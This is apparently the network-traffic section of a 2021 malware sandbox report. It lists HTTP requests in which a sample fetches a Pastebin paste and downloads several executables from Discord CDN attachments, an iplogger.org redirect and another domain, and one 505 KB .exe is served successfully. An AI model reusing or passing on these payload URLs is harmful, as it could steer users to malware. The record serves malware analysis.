Network Analysis

GET /raw/gCyjHCCH HTTP/1.1 Host: pastebin.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 02:17:14 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=de57516fc60c862e927789d4b776312fe1617761834; expires=Fri, 07-May-21 02:17:14 GMT; path=/; domain=.pastebin.com; HttpOnly; SameSite=Lax; Secure x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 1087 cf-request-id: 094bb7ac3e0000a225d0235000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Server: cloudflare CF-RAY: 63bfc226c93da225-ICN

GET /attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 02:17:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=dfd26cfd7d007080b0ce1ee7216accdcd1617761850; expires=Fri, 07-May-21 02:17:30 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax X-Frame-Options: SAMEORIGIN cf-request-id: 094bb7eb0d000012cadf963000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=E%2FN4OwA2y1JL%2BxCg%2Fhtgw37wjrkWZXMbLO%2FAsx6XsSLexYLUO%2FXvTPSp6qBGOULUSGi103FfaH9c7IP0cow2OBNMdwALlwSDByhx4Wg905g0HYk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare CF-RAY: 63bfc28b493f12ca-ICN alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /attachments/826198252025675816/826538114838298715/install_setupVPSfree.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 02:17:30 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=d75d71074325e246cdc8cdf34960e288e1617761850; expires=Fri, 07-May-21 02:17:30 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63bfc28be891350d-ICN Age: 213 Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 02:13:57 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094bb7eb740000350decb40000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-UyBjczixlt8P3Ft9nZJv_OC7d6pqUfOAu8NakZ4fsbTZTYENk6sOtr-XPzHxIuvwVPDAjIyMG38It39wCAKHeE X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=KNSVCoofMKTNGQXONdW72E%2Ffpb1JEPt3MS5CArpnBYuzHpRRY86kpugqnM35F8trZ5HaehJeimlPuyl3%2FkojaWCWdLBqeg00mINoTU8z4f%2B%2F3xI%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /setup-KGQJ-1.exe HTTP/1.1 Host: gwenetha.info Connection: Keep-Alive

HTTP/1.1 404 Not Found Date: Wed, 07 Apr 2021 02:17:30 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 19 Connection: keep-alive Set-Cookie: __cfduid=dd6104c6fb90b532c5e7e32da866ae7681617761850; expires=Fri, 07-May-21 02:17:30 GMT; path=/; domain=.gwenetha.info; HttpOnly; SameSite=Lax X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC cf-request-id: 094bb7ed080000429e35399000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=ewfc1U%2Fdhj5ZvKSPQLaQcK5PzrFv%2FciJ0GNtsPEK31Hh6tiFeHYZR5lth%2F2B%2BHrmWyhKrM01zOSUiuqz94J%2F30U2kd20iuSYefoFH2Lx"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare CF-RAY: 63bfc28e7c93429e-LAX alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /attachments/826416818390040589/826855866228670474/7525b875715555.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 02:17:31 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=d394ef7bf5c4079f821952bd6f20e4c0a1617761851; expires=Fri, 07-May-21 02:17:31 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63bfc295989112ca-ICN Age: 214 Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 02:13:57 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094bb7f183000012ca05164000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-UxkcWEPtGv8X9ATHdbM2pmpxauQAZYpkV7ZLF6mZ7x92aOpnt0rOG6ib8P7JKNIz7CTkg98FLcOkA4SyP0sv4NdXqjulg X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=oeTZHGLdG0%2BSzzytbBngG7JIbYaacnePBqqTTXWE%2FYBcM50qB3ULqDop7uvDqeA91ApFFXqfllU2U0X1XekwzgNJFMixLudVchCXf2CJH9CQMbA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare

GET /2LehR6.exe HTTP/1.1 Host: iplogger.org Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 07 Apr 2021 02:17:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: PHPSESSID=gp8u2pk6itcggdln5b5ifd1fn5; path=/; HttpOnly Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Pragma: no-cache Set-Cookie: clhf03028ja=175.208.134.150; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=261286334; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Location: https://cdn.discordapp.com/attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe Strict-Transport-Security: max-age=31536000; preload X-Frame-Options: DENY

GET /attachments/826416818390040589/826469949593485312/file.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 02:17:55 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=da6c279d08c2bb796169a147e40c561071617761875; expires=Fri, 07-May-21 02:17:55 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63bfc32cceb9e9d8-ICN Age: 214 Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 02:14:21 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094bb84ffb0000e9d848125000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-UzrxF0b0t2_oCqoNZuZJVL36aezbH4SZsiPll6KuZCat2cJngK6tZ-7BxrOi7YqJ8ndS_ZMbyTBmMoOjop5kPvbmYstcQ X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=ejibJW%2F5vMhOojQDD7zd%2Bc2PH%2BdJLg9VBc2XxyhXmfijhSeNS8z%2FH%2B6O3mOIYPPK0J7Q6H7oT06FXGlcFo9IbrMYcRQXCzthnRjIEpviQ631OgI%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 02:17:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=dae91951812c1926658a74bf85599b6271617761875; expires=Fri, 07-May-21 02:17:55 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax X-Frame-Options: SAMEORIGIN cf-request-id: 094bb8500600003532ae02c000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=v7ISdX%2BOrbsm1Kba26LIqNR%2BLEpYw%2FQkCnx0cQ%2FbR7qWZPx2nMJkqwjnNg259n8MG8LhzzQXPjPVIhyQ8HxHbfxFuMTh3BLDbGYdttnOzIJRDrI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare CF-RAY: 63bfc32cdeee3532-ICN alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /attachments/826416818390040589/826540039764705360/7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 02:18:04 GMT Content-Type: application/x-msdos-program Content-Length: 505856 Connection: keep-alive Set-Cookie: __cfduid=d3a44a60be7cf52de881d060dde3e2b261617761884; expires=Fri, 07-May-21 02:18:04 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63bfc360ab313532-ICN Accept-Ranges: bytes Age: 616893 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe ETag: "28345a7bb63babaf99e760965ce493b7" Expires: Thu, 07 Apr 2022 02:18:04 GMT Last-Modified: Tue, 30 Mar 2021 19:35:01 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094bb8706600003532de2fc000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1617132901889175 x-goog-hash: crc32c=Ws/4nQ== x-goog-hash: md5=KDRae7Y7q6+Z52CWXOSTtw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 505856 X-GUploader-UploadID: ABg5-UznZNO55X93AubXlWYP0c5SyYOTRHkzDJhcIzrcH58RoyWaPDs0j0jqBmhsS-QvB5VHDoqPplp1xtV5hwkr0kW8h3tVvw X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=PEDs%2F8G9H%2BgRi4AigVbn5%2B1%2BszJptJSQPlPfW8UtnBaH6YC6tpuPtHgJh37sBKIp%2B9ieSNybJlPrrdFRvZOvyhTTKBXOnEtDpNC%2BaRgP%2B7oMrX8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare